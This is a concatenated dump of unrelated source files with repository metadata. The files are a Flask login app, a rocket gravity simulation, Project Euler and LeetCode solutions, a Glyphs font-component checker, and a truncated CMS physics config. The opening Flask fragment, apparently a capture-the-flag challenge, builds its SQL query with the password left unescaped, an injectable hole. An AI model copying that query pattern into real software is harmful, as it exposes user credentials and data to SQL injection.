</html> ''' @app.route('/') def hello(): return home @app.route('/login', methods=['POST']) def login(): try: username, password = request.form['username'], request.form['password'] data = query('SELECT username FROM users WHERE username=\'%s\' AND password=sha1(\'%s\')' % ( username.replace('\\', '\\\\').replace('\'', '\\\''), password )) if len(data) == 0: return '<b>INVALID CREDENTIALS</b>' else: return '<b>INSUFFICIENT ACCESS FOR USER %s</b>' % data[0][0] except: return '<b>ERROR</b>' if __name__ == "__main__": if os.fork() > 0: while True: try: sock = socket(AF_INET, SOCK_STREAM) sock.connect(('127.0.0.1', 80)) break except: pass sys.exit(0) os.setsid() os.umask(0) if os.fork() > 0: sys.exit(0) setup() app.run(host='127.0.0.1', port=80, threaded=False, processes=1)

[ "cody.brocious@gmail.com" ]

cody.brocious@gmail.com

ac5e879ff023cf1256f3cf20aecf9aed14119993

3df1bdc21727f40ef0ee296bf137bf3190ad00ec

/astrodynamics/Rocket_Seminar_Series/projectile_newtonian_gravity.py

5b9b13fb403c9a761d3080689f4c4aae63aefae2

[]

no_license

tin97-bb/Python

c2b30829fd4e14c50963dc4074e87ef06869cebe

3cedc7d5bef2af46b6618026cd7a41e61700ce62

refs/heads/master

2023-07-29T07:06:15.116923

2021-09-13T17:04:48

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0

null

UTF-8

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2,204

py

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sat Sep 4 21:56:24 2021 @author: carlos """ ####Import all the modules we need import numpy as np ###numeric python import matplotlib.pyplot as plt ###matlab style plotting import scipy.integrate as sci ##integration toolbox plt.close("all") ##DEFINE SOME CONSTANT PARAMETERS G = 6.6742*10**-11; #%%Gravitational constant (SI Unit) ###PLANET ###EARTH Rplanet = 6357000.0 #meters mplanet = 5.972e24 #kg ###KERBIN #Rplanet = 600000 #meters #mplanet = 5.2915158*10**22 # ##ROCKET mass = 640.0/1000.0 ##kg ##Gravitational Acceleration Model def gravity(z): global Rplanet,mplanet r = np.sqrt(z**2) if r < Rplanet: accel = 0.0 else: accel = G*mplanet/(r**3)*r return accel ###Equations of Motion ###F = m*a = m*zddot ## z is the altitude of the surface ## this is in meter ## zdot is the velocity ## zddot is the acceleration ###Second Order Differential Equation def Derivatives(state,t): ###Globals global mass #state vector z = state[0] velz = state[1] #Compute zdot - Kinematic Relationship zdot = velz ###Compute the Total Forces ###GRavity gravityF = -gravity(z)*mass ###Aerodynamics aeroF = 0.0 ###Thrust thrustF = 0.0 Forces = gravityF + aeroF + thrustF #Compute Acceleration zddot = Forces/mass #Compute the statedot statedot = np.asarray([zdot,zddot]) return statedot ###########EVERYTHING BELOW HERE IS THE MAIN SCRIPT### ###Test Surface Gravity print('Surface Gravity (m/s^2) = ',gravity(Rplanet)) ###Initial Conditions z0 = Rplanet ##m velz0 = 25*331.0 #m/s stateinitial = np.asarray([z0,velz0]) ##Time window tout = np.linspace(0,345,1000) ###Numerical Integration Call stateout = sci.odeint(Derivatives,stateinitial,tout) ###REname variables zout = stateout[:,0] altitude = zout - Rplanet velzout = stateout[:,1] ###Plot ###ALTITUDE plt.plot(tout,altitude) plt.xlabel('Time (sec)') plt.ylabel('Altitude (m)') plt.grid() ###VELOCITY plt.figure() plt.plot(tout,velzout) plt.xlabel('Time (sec)') plt.ylabel('Normal Speed (m/s)') plt.grid()

[ "cmontalvo@southalabama.edu" ]

cmontalvo@southalabama.edu

22b4ec30dc144453b9f66f4de4f090bee518ffaf

ecf89d17601ee16ef176a9fc0ce497e4e685cc21

/python/112.py

f74559351f115ee03b2fd2f5a3f7192f843447a5

[]

no_license

kartikeya-shandilya/project-euler

daa984cda1a476a6f29b80d4b86ca03f9292d910

6265db7c5a8fedc3ded627829ce6040e8c8542d4

refs/heads/master

2021-01-21T04:27:36.649729

2020-10-13T00:25:52

26,404,032

0

null

UTF-8

Python

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371

py

#!/usr/bin/python cnt=0 for i in range(1,2500000): j=str(i) tag1="incr" for k in range(0,len(j)-1): if j[k]>j[k+1]: tag1="bouncy" break tag2="decr" for k in range(0,len(j)-1): if j[k]<j[k+1]: tag2="bouncy" break if tag1=="bouncy" and tag2=="bouncy": cnt+=1 # print i,tag1,tag2 if cnt/(1.0*i)>0.99: print "yes",i,cnt break #print "no",i,cnt

[ "kartikeya.shandilya@gmail.com" ]

kartikeya.shandilya@gmail.com

9404f4f2483b622d387c7959245a892b14e573ae

291a7d6758a3e05ccb84edb9b5d5a2d8cc3cdc9c

/Components/Component Problem Finder.py

1c5659bcd073ec2b33f0c66706066ca93b699ae8

[ "Apache-2.0" ]

permissive

Mark2Mark/Glyphs-Scripts

19d4235225ddba8b64de244891af60863706f374

204ad6d92fb14f87a7d183d7acf28b9a678ace02

refs/heads/master

2023-04-07T08:21:21.777294

2023-03-06T17:46:29

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1

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2017-02-13T13:27:28

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#MenuTitle: Component Problem Finder # -*- coding: utf-8 -*- from __future__ import division, print_function, unicode_literals __doc__ = """ Find and report possible issues with components and corner components. """ import vanilla from timeit import default_timer as timer def camelCaseSplit(str): words = [[str[0]]] for c in str[1:]: if words[-1][-1].islower() and c.isupper(): words.append(list(c)) else: words[-1].append(c) return [''.join(word) for word in words] def reportTimeInNaturalLanguage(seconds): if seconds > 60.0: timereport = "%i:%02i minutes" % (seconds // 60, seconds % 60) elif seconds < 1.0: timereport = "%.2f seconds" % seconds elif seconds < 20.0: timereport = "%.1f seconds" % seconds else: timereport = "%i seconds" % seconds return timereport def orthodoxComponentsForGlyph(thisGlyph): glyphInfo = thisGlyph.glyphInfo if glyphInfo: componentInfo = glyphInfo.components if componentInfo: glyphNameTuple = tuple(c.name for c in componentInfo) return glyphNameTuple return None def nameStrippedOfSuffixes(glyphName): return glyphName[:glyphName.find(".") % (len(glyphName) + 1)] def layerAdheresToStructure(thisLayer, glyphNameTuple): layerComponents = thisLayer.components numOfLayerComponents = len(layerComponents) if numOfLayerComponents != len(glyphNameTuple): return False for i in range(numOfLayerComponents): thisComponentName = thisLayer.components[i].componentName orthodoxComponentName = glyphNameTuple[i] if thisComponentName != orthodoxComponentName: componentBaseName = nameStrippedOfSuffixes(thisComponentName) orthodoxBaseName = nameStrippedOfSuffixes(orthodoxComponentName) if componentBaseName != orthodoxBaseName: return False return True class ComponentProblemFinder(object): prefID = "com.mekkablue.ComponentProblemFinder" prefs = ( "composablesWithoutComponents", "unusualComponents", "lockedComponents", "nestedComponents", "orphanedComponents", "emptyComponents", "unalignedComponents", "scaledComponents", "unproportionallyScaledComponents", "rotatedComponents", "mirroredComponents", "shiftedComponents", "detachedCornerComponents", "transformedCornerComponents", "includeAllGlyphs", "includeNonExporting", "reuseTab", ) def __init__(self): # Window 'self.w': windowWidth = 280 windowHeight = 520 windowWidthResize = 0 # user can resize width by this value windowHeightResize = 0 # user can resize height by this value self.w = vanilla.FloatingWindow( (windowWidth, windowHeight), # default window size "Component Problem Finder", # window title minSize=(windowWidth, windowHeight), # minimum size (for resizing) maxSize=(windowWidth + windowWidthResize, windowHeight + windowHeightResize), # maximum size (for resizing) autosaveName=self.domain("mainwindow") # stores last window position and size ) # UI elements: linePos, inset, lineHeight = 12, 15, 22 self.w.descriptionText = vanilla.TextBox((inset, linePos + 2, -inset, 14), "New tab with glyphs containing components:", sizeStyle='small', selectable=True) linePos += lineHeight self.w.composablesWithoutComponents = vanilla.CheckBox( (inset, linePos - 1, -inset, 20), "Composable glyphs without components", value=False, callback=self.SavePreferences, sizeStyle='small' ) self.w.composablesWithoutComponents.getNSButton( ).setToolTip_("Lists glyphs that could be component-based (because they have a recipe in Glyph Info), but are lacking components.") linePos += lineHeight self.w.unusualComponents = vanilla.CheckBox( (inset, linePos - 1, -inset, 20), "Unusual composites (or wrong order)", value=False, callback=self.SavePreferences, sizeStyle='small' ) self.w.unusualComponents.getNSButton().setToolTip_("Lists composite glyphs that contain components different from the default recipe in Glyph Info.") linePos += lineHeight self.w.lockedComponents = vanilla.CheckBox((inset, linePos - 1, -inset, 20), "Locked components", value=False, callback=self.SavePreferences, sizeStyle='small') self.w.lockedComponents.getNSButton().setToolTip_("Lists glyphs that contain a locked component on any of its layers.") linePos += lineHeight self.w.nestedComponents = vanilla.CheckBox((inset, linePos - 1, -inset, 20), "Nested components", value=False, callback=self.SavePreferences, sizeStyle='small') self.w.nestedComponents.getNSButton().setToolTip_("Lists glyphs that contain components, which in turn contain components.") linePos += lineHeight self.w.orphanedComponents = vanilla.CheckBox((inset, linePos - 1, -inset, 20), "Orphaned components", value=False, callback=self.SavePreferences, sizeStyle='small') self.w.orphanedComponents.getNSButton().setToolTip_("Lists glyphs that contain components referencing glyphs that do not exist in the font (anymore).") linePos += lineHeight self.w.emptyComponents = vanilla.CheckBox((inset, linePos - 1, -inset, 20), "Empty components", value=False, callback=self.SavePreferences, sizeStyle='small') self.w.emptyComponents.getNSButton().setToolTip_("Lists glyphs that contain components pointing to empty layers (layers without shapes).") linePos += lineHeight self.w.unalignedComponents = vanilla.CheckBox((inset, linePos - 1, -inset, 20), "Unaligned components", value=False, callback=self.SavePreferences, sizeStyle='small') self.w.unalignedComponents.getNSButton().setToolTip_("Lists glyphs that contain unaligned components.") linePos += lineHeight # Line Separator: self.w.line_transformedComponents = vanilla.HorizontalLine((inset, linePos + 3, -inset, 1)) linePos += int(lineHeight / 2) self.w.scaledComponents = vanilla.CheckBox((inset, linePos - 1, -inset, 20), "Scaled components", value=True, callback=self.SavePreferences, sizeStyle='small') self.w.scaledComponents.getNSButton().setToolTip_("Lists all components that are not at their original size. Useful for bug tracing in variable fonts.") linePos += lineHeight self.w.unproportionallyScaledComponents = vanilla.CheckBox( (inset * 2, linePos - 1, -inset, 20), "Only unproportionally scaled (h≠v)", value=True, callback=self.SavePreferences, sizeStyle='small' ) self.w.unproportionallyScaledComponents.getNSButton().setToolTip_( "Lists glyphs that contain components that are not scaled the same horizontally and vertically. Useful for double checking in TT exports and variable fonts." ) linePos += lineHeight self.w.rotatedComponents = vanilla.CheckBox((inset, linePos - 1, -inset, 20), "Rotated components", value=False, callback=self.SavePreferences, sizeStyle='small') self.w.rotatedComponents.getNSButton().setToolTip_( "Lists all glyphs that contain rotated components, or components that are flipped BOTH horizontally and vertically. May be a good idea to check their alignment." ) linePos += lineHeight self.w.mirroredComponents = vanilla.CheckBox((inset, linePos - 1, -inset, 20), "Flipped components", value=False, callback=self.SavePreferences, sizeStyle='small') self.w.mirroredComponents.getNSButton().setToolTip_("Lists all glyphs containing components that are mirrored EITHER horizontally or vertically.") linePos += lineHeight self.w.shiftedComponents = vanilla.CheckBox( (inset, linePos - 1, -inset, 20), "Shifted (but undistorted) components", value=False, callback=self.SavePreferences, sizeStyle='small' ) self.w.shiftedComponents.getNSButton().setToolTip_("Lists all glyphs containing unaligned components that are not positioned at x=0 y=0.") linePos += lineHeight # Line Separator: self.w.line_cornerComponents = vanilla.HorizontalLine((inset, linePos + 3, -inset, 1)) linePos += int(lineHeight / 2) self.w.detachedCornerComponents = vanilla.CheckBox( (inset, linePos - 1, -inset, 20), "Detached corner components", value=False, callback=self.SavePreferences, sizeStyle='small' ) self.w.detachedCornerComponents.getNSButton().setToolTip_("Lists all glyphs containing corner components that have lost their connection point.") linePos += lineHeight self.w.transformedCornerComponents = vanilla.CheckBox( (inset, linePos - 1, -inset, 20), "Transformed corner components", value=False, callback=self.SavePreferences, sizeStyle='small' ) self.w.transformedCornerComponents.getNSButton().setToolTip_("Lists all glyphs containing corner components that are not at 100%% scale.") linePos += lineHeight # Line Separator: self.w.line_scriptOptions = vanilla.HorizontalLine((inset, linePos + 3, -inset, 1)) linePos += int(lineHeight / 2) # Script Options: self.w.includeAllGlyphs = vanilla.CheckBox( (inset, linePos, -inset, 20), "Check all glyphs in font (recommended)", value=True, callback=self.SavePreferences, sizeStyle='small' ) self.w.includeAllGlyphs.getNSButton().setToolTip_( "If enabled, will ignore your current glyph selection, and simply go through the complete font. Recommended. May still ignore non-exporting glyph, see following option." ) linePos += lineHeight self.w.includeNonExporting = vanilla.CheckBox((inset, linePos, -inset, 20), "Include non-exporting glyphs", value=True, callback=self.SavePreferences, sizeStyle='small') self.w.includeNonExporting.getNSButton().setToolTip_("If disabled, will ignore glyphs that are set to not export.") linePos += lineHeight self.w.reuseTab = vanilla.CheckBox((inset, linePos, 125, 20), "Reuse existing tab", value=True, callback=self.SavePreferences, sizeStyle='small') self.w.reuseTab.getNSButton().setToolTip_("If enabled, will only open a new tab if none is open. Recommended.") linePos += lineHeight # Progress Bar and Status text: self.w.progress = vanilla.ProgressBar((inset, linePos, -inset, 16)) self.w.progress.set(0) # set progress indicator to zero self.w.status = vanilla.TextBox((inset, -18 - inset, -inset - 100, 14), "🤖 Ready.", sizeStyle='small', selectable=True) linePos += lineHeight # Run Button: self.w.runButton = vanilla.Button((-100 - inset, -20 - inset, -inset, -inset), "Open Tab", sizeStyle='regular', callback=self.ComponentProblemFinderMain) self.w.setDefaultButton(self.w.runButton) # Load Settings: if not self.LoadPreferences(): print("Note: 'Component Problem Finder' could not load preferences. Will resort to defaults") # Open window and focus on it: self.w.open() self.w.makeKey() def domain(self, prefName): prefName = prefName.strip().strip(".") return self.prefID + "." + prefName.strip() def pref(self, prefName): prefDomain = self.domain(prefName) return Glyphs.defaults[prefDomain] def updateUI(self, sender=None): shouldEnableRunButton = any([bool(Glyphs.defaults[self.domain(p)]) for p in self.prefs[:-3]]) self.w.runButton.enable(shouldEnableRunButton) self.w.unproportionallyScaledComponents.enable(self.w.scaledComponents.get()) def SavePreferences(self, sender=None): try: # write current settings into prefs: for prefName in self.prefs: Glyphs.defaults[self.domain(prefName)] = getattr(self.w, prefName).get() self.updateUI() return True except: import traceback print(traceback.format_exc()) return False def LoadPreferences(self): try: for prefName in self.prefs: # register defaults: Glyphs.registerDefault(self.domain(prefName), prefName.startswith("include") or prefName.startswith("reuse")) # load previously written prefs: getattr(self.w, prefName).set(self.pref(prefName)) self.updateUI() return True except: import traceback print(traceback.format_exc()) return False def callMethodWithArg(self, methodName, arg): method = getattr(self, methodName) return method(arg) def glyphHas_composablesWithoutComponents(self, thisGlyph): for thisLayer in thisGlyph.layers: if (thisLayer.isMasterLayer or thisLayer.isSpecialLayer) and not thisLayer.components: info = thisGlyph.glyphInfo if info and info.components: print("\t🙅🏼 missing components %s on layer: %s" % ( ", ".join([i.name for i in info.components]), thisLayer.name, )) return True return False def glyphHas_unusualComponents(self, thisGlyph): componentStructure = orthodoxComponentsForGlyph(thisGlyph) if componentStructure: for thisLayer in thisGlyph.layers: if not layerAdheresToStructure(thisLayer, componentStructure): print("\t🔒 unusual components %s on layer: %s" % ( ", ".join([c.name for c in thisLayer.components]), thisLayer.name, )) return True return False def glyphHas_lockedComponents(self, thisGlyph): for thisLayer in thisGlyph.layers: for thisComponent in thisLayer.components: if thisComponent.locked: print("\t🔒 locked component %s on layer: %s" % (thisComponent.componentName, thisLayer.name)) return True return False def glyphHas_nestedComponents(self, thisGlyph): for thisLayer in thisGlyph.layers: for thisComponent in thisLayer.components: originalLayer = thisComponent.componentLayer if originalLayer and originalLayer.components: print("\t🪆 nested component %s on layer: %s" % (thisComponent.componentName, thisLayer.name)) return True return False def glyphHas_orphanedComponents(self, thisGlyph): for thisLayer in thisGlyph.layers: theseComponents = thisLayer.components if theseComponents: for thisComponent in theseComponents: if thisComponent.component is None: print("\t🫥 orphaned component %s on layer: %s" % (thisComponent.componentName, thisLayer.name)) return True return False def glyphHas_emptyComponents(self, thisGlyph): for thisLayer in thisGlyph.layers: theseComponents = thisLayer.components if theseComponents: for thisComponent in theseComponents: if not thisComponent.componentLayer.shapes: print("\t🫙 empty component %s on layer: %s" % (thisComponent.componentName, thisLayer.name)) return True return False def glyphHas_unalignedComponents(self, thisGlyph): for thisLayer in thisGlyph.layers: theseComponents = thisLayer.components if theseComponents: for thisComponent in theseComponents: if thisComponent.alignment == -1: print("\t🤪 unaligned component %s on layer: %s" % (thisComponent.componentName, thisLayer.name)) return True return False def glyphHas_scaledComponents(self, thisGlyph, unproportional=False): for thisLayer in thisGlyph.layers: for thisComponent in thisLayer.components: if thisComponent.rotation == 0.0: hScale, vScale = thisComponent.scale scaled = (hScale * vScale > 0.0) and (abs(hScale) != 1.0 or abs(vScale) != 1.0) if scaled: if unproportional: unproportionallyScaled = abs(hScale) != abs(vScale) if unproportionallyScaled: print("\t🤪 unproportionally scaled component %s on layer: %s" % (thisComponent.componentName, thisLayer.name)) return True else: print("\t📏 scaled component %s on layer: %s" % (thisComponent.componentName, thisLayer.name)) return True return False def glyphHas_unproportionallyScaledComponents(self, thisGlyph): return self.glyphHas_scaledComponents(thisGlyph, unproportional=True) def glyphHas_rotatedComponents(self, thisGlyph): for thisLayer in thisGlyph.layers: for thisComponent in thisLayer.components: hScale, vScale = thisComponent.scale rotatedByScaling = hScale == vScale and hScale < 0 and vScale < 0 if thisComponent.rotation or rotatedByScaling: print("\t🎡 rotated component %s on layer: %s" % (thisComponent.componentName, thisLayer.name)) return True return False def glyphHas_mirroredComponents(self, thisGlyph): for thisLayer in thisGlyph.layers: for thisComponent in thisLayer.components: hScale, vScale = thisComponent.scale if hScale * vScale < 0: print("\t🪞 mirrored component %s on layer: %s" % (thisComponent.componentName, thisLayer.name)) return True return False def glyphHas_shiftedComponents(self, thisGlyph): for thisLayer in thisGlyph.layers: for thisComponent in thisLayer.components: hScale, vScale = thisComponent.scale degrees = thisComponent.rotation if hScale == 1.0 and vScale == 1.0 and degrees == 0.0: x, y = thisComponent.position if x != 0 or y != 0: print("\t🏗 shifted component %s on layer: %s" % (thisComponent.componentName, thisLayer.name)) return True return False def glyphHas_detachedCornerComponents(self, thisGlyph): for thisLayer in thisGlyph.layers: for h in thisLayer.hints: if h.type == CORNER: if not h.originNode: print("\t🚨 detached corner component %s on layer: %s" % (h.name, thisLayer.name)) return True return False def glyphHas_transformedCornerComponents(self, thisGlyph): for thisLayer in thisGlyph.layers: for thisHint in thisLayer.hints: if thisHint.type == CORNER: if abs(thisHint.scale.x) != 1.0 or abs(thisHint.scale.y) != 1.0: thisLayer.selection = None thisHint.selected = True print("\t🦄 transformed corner component %s on layer: %s" % (thisHint.name, thisLayer.name)) return True return False def ComponentProblemFinderMain(self, sender=None): try: # clear macro window log: Glyphs.clearLog() # start taking time: start = timer() # update settings to the latest user input: if not self.SavePreferences(): print("Note: 'Component Problem Finder' could not write preferences.") thisFont = Glyphs.font # frontmost font if thisFont is None: Message(title="No Font Open", message="The script requires a font. Open a font and run the script again.", OKButton=None) else: print("Component Problem Finder Report for %s" % thisFont.familyName) if thisFont.filepath: print(thisFont.filepath) else: print("⚠️ The font file has not been saved yet.") print() if self.pref("includeAllGlyphs"): glyphs = thisFont.glyphs else: glyphs = [l.parent for l in thisFont.selectedLayers] enabledPrefNames = [p for p in self.prefs[:-3] if self.pref(p)] glyphDict = {} for dictKey in enabledPrefNames: glyphDict[dictKey] = [] shouldIncludeNonExporting = self.pref("includeNonExporting") glyphCount = len(glyphs) for i, thisGlyph in enumerate(glyphs): self.w.progress.set(100 * i / glyphCount) report = "🔠 %s" % thisGlyph.name print(report) self.w.status.set(report) if shouldIncludeNonExporting or thisGlyph.export: for prefName in enabledPrefNames: if Glyphs.defaults[self.domain(prefName)]: methodName = "glyphHas_%s" % prefName isAffected = self.callMethodWithArg(methodName, thisGlyph) if isAffected: glyphDict[prefName].append(thisGlyph.name) report = "" for prefName in enabledPrefNames: affectedGlyphs = glyphDict[prefName] if affectedGlyphs: report += "\n%s:\n%s\n" % ( " ".join(camelCaseSplit(prefName)).capitalize(), "/" + "/".join(affectedGlyphs), ) print(report) if self.pref("reuseTab") and thisFont.currentTab: newTab = thisFont.currentTab else: newTab = thisFont.newTab() newTab.text = report.strip() # take time: end = timer() timereport = reportTimeInNaturalLanguage(end - start) print("Time elapsed: %s" % timereport) self.w.status.set("✅ Done. %s." % timereport) self.w.progress.set(100) # Final report: Glyphs.showNotification( "%s: Done" % (thisFont.familyName), "Component Problem Finder is finished. Details in Macro Window", ) print("\nDone.") except Exception as e: # brings macro window to front and reports error: Glyphs.showMacroWindow() print("Component Problem Finder Error: %s" % e) import traceback print(traceback.format_exc()) ComponentProblemFinder()

[ "res@glyphsapp.com" ]

res@glyphsapp.com

4d9725de9f5d6415c6a02d66311fb489c305c554

a81a1efe1a93d5af0ef3f6403862a1544befd6cf

/HashTable/387_FirstUniqueCharacterInAString.py

b2a92fa927e8f971aa0b15b6b3070f9234e20fc0

[]

no_license

fishleongxhh/LeetCode

89da4ae3ca1715b1909c350437c0ba79eb2a8349

d0352fecc61396fc460e1350572189b175a13f61

refs/heads/master

2020-04-05T17:14:27.976946

2018-12-16T14:10:54

157,050,997

1

0

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Python

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526

py

# -*- coding: utf-8 -*- # Author: Xu Hanhui # 此程序用来求解LeetCode387: First Unique Character in a String问题 def firstUniqChar(s): dic = {} uniq_str = set() for loc, item in enumerate(s): if item in dic: uniq_str.discard(item) else: dic[item] = loc uniq_str.add(item) res = [dic[item] for item in uniq_str] if res: return min(res) return -1 if __name__ == "__main__": s = 'huhuihui' print(s) print(firstUniqChar(s))

[ "xhh1120132805@163.com" ]

xhh1120132805@163.com

1c6dff9a338a0153cfabc16870bab5f9d1330b5b

f31fda8014ecadf6af7d4e3392fb917c49e0352a

/HeavyIonsAnalysis/JetAnalysis/python/jets/akFilter2PFJetSequence_PbPb_data_cff.py

1a674d6fbc2a55e627708930cc51a3f29f18138e

[]

no_license

jniedzie/lightbylight

acea5051f053c49824a49a0b78bac3a2247ee75f

f5a4661fcf3fd3c0e9ccd8893a46a238e30c2aa8

refs/heads/master

2020-03-18T12:24:31.970468

2018-02-09T15:50:00

134,724,759

0

1

null

2018-05-24T14:11:12

null

UTF-8

Python

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14,619

py

import FWCore.ParameterSet.Config as cms from HeavyIonsAnalysis.JetAnalysis.patHeavyIonSequences_cff import patJetGenJetMatch, patJetPartonMatch, patJetCorrFactors, patJets from HeavyIonsAnalysis.JetAnalysis.inclusiveJetAnalyzer_cff import * from HeavyIonsAnalysis.JetAnalysis.bTaggers_cff import * from RecoJets.JetProducers.JetIDParams_cfi import * from RecoJets.JetProducers.nJettinessAdder_cfi import Njettiness akFilter2PFmatch = patJetGenJetMatch.clone( src = cms.InputTag("akFilter2PFJets"), matched = cms.InputTag("ak2HiSignalGenJets"), resolveByMatchQuality = cms.bool(False), maxDeltaR = 0.2 ) akFilter2PFmatchGroomed = patJetGenJetMatch.clone( src = cms.InputTag("akFilter2HiGenJets"), matched = cms.InputTag("ak2HiSignalGenJets"), resolveByMatchQuality = cms.bool(False), maxDeltaR = 0.2 ) akFilter2PFparton = patJetPartonMatch.clone(src = cms.InputTag("akFilter2PFJets") ) akFilter2PFcorr = patJetCorrFactors.clone( useNPV = cms.bool(False), useRho = cms.bool(False), # primaryVertices = cms.InputTag("hiSelectedVertex"), levels = cms.vstring('L2Relative','L3Absolute'), src = cms.InputTag("akFilter2PFJets"), payload = "AK2PF_offline" ) akFilter2PFJetID= cms.EDProducer('JetIDProducer', JetIDParams, src = cms.InputTag('akFilter2CaloJets')) #akFilter2PFclean = heavyIonCleanedGenJets.clone(src = cms.InputTag('ak2HiSignalGenJets')) akFilter2PFbTagger = bTaggers("akFilter2PF",0.2) #create objects locally since they dont load properly otherwise #akFilter2PFmatch = akFilter2PFbTagger.match akFilter2PFparton = patJetPartonMatch.clone(src = cms.InputTag("akFilter2PFJets"), matched = cms.InputTag("hiSignalGenParticles")) akFilter2PFPatJetFlavourAssociationLegacy = akFilter2PFbTagger.PatJetFlavourAssociationLegacy akFilter2PFPatJetPartons = akFilter2PFbTagger.PatJetPartons akFilter2PFJetTracksAssociatorAtVertex = akFilter2PFbTagger.JetTracksAssociatorAtVertex akFilter2PFJetTracksAssociatorAtVertex.tracks = cms.InputTag("highPurityTracks") akFilter2PFSimpleSecondaryVertexHighEffBJetTags = akFilter2PFbTagger.SimpleSecondaryVertexHighEffBJetTags akFilter2PFSimpleSecondaryVertexHighPurBJetTags = akFilter2PFbTagger.SimpleSecondaryVertexHighPurBJetTags akFilter2PFCombinedSecondaryVertexBJetTags = akFilter2PFbTagger.CombinedSecondaryVertexBJetTags akFilter2PFCombinedSecondaryVertexV2BJetTags = akFilter2PFbTagger.CombinedSecondaryVertexV2BJetTags akFilter2PFJetBProbabilityBJetTags = akFilter2PFbTagger.JetBProbabilityBJetTags akFilter2PFSoftPFMuonByPtBJetTags = akFilter2PFbTagger.SoftPFMuonByPtBJetTags akFilter2PFSoftPFMuonByIP3dBJetTags = akFilter2PFbTagger.SoftPFMuonByIP3dBJetTags akFilter2PFTrackCountingHighEffBJetTags = akFilter2PFbTagger.TrackCountingHighEffBJetTags akFilter2PFTrackCountingHighPurBJetTags = akFilter2PFbTagger.TrackCountingHighPurBJetTags akFilter2PFPatJetPartonAssociationLegacy = akFilter2PFbTagger.PatJetPartonAssociationLegacy akFilter2PFImpactParameterTagInfos = akFilter2PFbTagger.ImpactParameterTagInfos akFilter2PFImpactParameterTagInfos.primaryVertex = cms.InputTag("offlinePrimaryVertices") akFilter2PFJetProbabilityBJetTags = akFilter2PFbTagger.JetProbabilityBJetTags akFilter2PFSecondaryVertexTagInfos = akFilter2PFbTagger.SecondaryVertexTagInfos akFilter2PFSimpleSecondaryVertexHighEffBJetTags = akFilter2PFbTagger.SimpleSecondaryVertexHighEffBJetTags akFilter2PFSimpleSecondaryVertexHighPurBJetTags = akFilter2PFbTagger.SimpleSecondaryVertexHighPurBJetTags akFilter2PFCombinedSecondaryVertexBJetTags = akFilter2PFbTagger.CombinedSecondaryVertexBJetTags akFilter2PFCombinedSecondaryVertexV2BJetTags = akFilter2PFbTagger.CombinedSecondaryVertexV2BJetTags akFilter2PFSecondaryVertexNegativeTagInfos = akFilter2PFbTagger.SecondaryVertexNegativeTagInfos akFilter2PFNegativeSimpleSecondaryVertexHighEffBJetTags = akFilter2PFbTagger.NegativeSimpleSecondaryVertexHighEffBJetTags akFilter2PFNegativeSimpleSecondaryVertexHighPurBJetTags = akFilter2PFbTagger.NegativeSimpleSecondaryVertexHighPurBJetTags akFilter2PFNegativeCombinedSecondaryVertexBJetTags = akFilter2PFbTagger.NegativeCombinedSecondaryVertexBJetTags akFilter2PFPositiveCombinedSecondaryVertexBJetTags = akFilter2PFbTagger.PositiveCombinedSecondaryVertexBJetTags akFilter2PFNegativeCombinedSecondaryVertexV2BJetTags = akFilter2PFbTagger.NegativeCombinedSecondaryVertexV2BJetTags akFilter2PFPositiveCombinedSecondaryVertexV2BJetTags = akFilter2PFbTagger.PositiveCombinedSecondaryVertexV2BJetTags akFilter2PFSoftPFMuonsTagInfos = akFilter2PFbTagger.SoftPFMuonsTagInfos akFilter2PFSoftPFMuonsTagInfos.primaryVertex = cms.InputTag("offlinePrimaryVertices") akFilter2PFSoftPFMuonBJetTags = akFilter2PFbTagger.SoftPFMuonBJetTags akFilter2PFSoftPFMuonByIP3dBJetTags = akFilter2PFbTagger.SoftPFMuonByIP3dBJetTags akFilter2PFSoftPFMuonByPtBJetTags = akFilter2PFbTagger.SoftPFMuonByPtBJetTags akFilter2PFNegativeSoftPFMuonByPtBJetTags = akFilter2PFbTagger.NegativeSoftPFMuonByPtBJetTags akFilter2PFPositiveSoftPFMuonByPtBJetTags = akFilter2PFbTagger.PositiveSoftPFMuonByPtBJetTags akFilter2PFPatJetFlavourIdLegacy = cms.Sequence(akFilter2PFPatJetPartonAssociationLegacy*akFilter2PFPatJetFlavourAssociationLegacy) #Not working with our PU sub, but keep it here for reference #akFilter2PFPatJetFlavourAssociation = akFilter2PFbTagger.PatJetFlavourAssociation #akFilter2PFPatJetFlavourId = cms.Sequence(akFilter2PFPatJetPartons*akFilter2PFPatJetFlavourAssociation) akFilter2PFJetBtaggingIP = cms.Sequence(akFilter2PFImpactParameterTagInfos * (akFilter2PFTrackCountingHighEffBJetTags + akFilter2PFTrackCountingHighPurBJetTags + akFilter2PFJetProbabilityBJetTags + akFilter2PFJetBProbabilityBJetTags ) ) akFilter2PFJetBtaggingSV = cms.Sequence(akFilter2PFImpactParameterTagInfos * akFilter2PFSecondaryVertexTagInfos * (akFilter2PFSimpleSecondaryVertexHighEffBJetTags+ akFilter2PFSimpleSecondaryVertexHighPurBJetTags+ akFilter2PFCombinedSecondaryVertexBJetTags+ akFilter2PFCombinedSecondaryVertexV2BJetTags ) ) akFilter2PFJetBtaggingNegSV = cms.Sequence(akFilter2PFImpactParameterTagInfos * akFilter2PFSecondaryVertexNegativeTagInfos * (akFilter2PFNegativeSimpleSecondaryVertexHighEffBJetTags+ akFilter2PFNegativeSimpleSecondaryVertexHighPurBJetTags+ akFilter2PFNegativeCombinedSecondaryVertexBJetTags+ akFilter2PFPositiveCombinedSecondaryVertexBJetTags+ akFilter2PFNegativeCombinedSecondaryVertexV2BJetTags+ akFilter2PFPositiveCombinedSecondaryVertexV2BJetTags ) ) akFilter2PFJetBtaggingMu = cms.Sequence(akFilter2PFSoftPFMuonsTagInfos * (akFilter2PFSoftPFMuonBJetTags + akFilter2PFSoftPFMuonByIP3dBJetTags + akFilter2PFSoftPFMuonByPtBJetTags + akFilter2PFNegativeSoftPFMuonByPtBJetTags + akFilter2PFPositiveSoftPFMuonByPtBJetTags ) ) akFilter2PFJetBtagging = cms.Sequence(akFilter2PFJetBtaggingIP *akFilter2PFJetBtaggingSV *akFilter2PFJetBtaggingNegSV # *akFilter2PFJetBtaggingMu ) akFilter2PFpatJetsWithBtagging = patJets.clone(jetSource = cms.InputTag("akFilter2PFJets"), genJetMatch = cms.InputTag("akFilter2PFmatch"), genPartonMatch = cms.InputTag("akFilter2PFparton"), jetCorrFactorsSource = cms.VInputTag(cms.InputTag("akFilter2PFcorr")), JetPartonMapSource = cms.InputTag("akFilter2PFPatJetFlavourAssociationLegacy"), JetFlavourInfoSource = 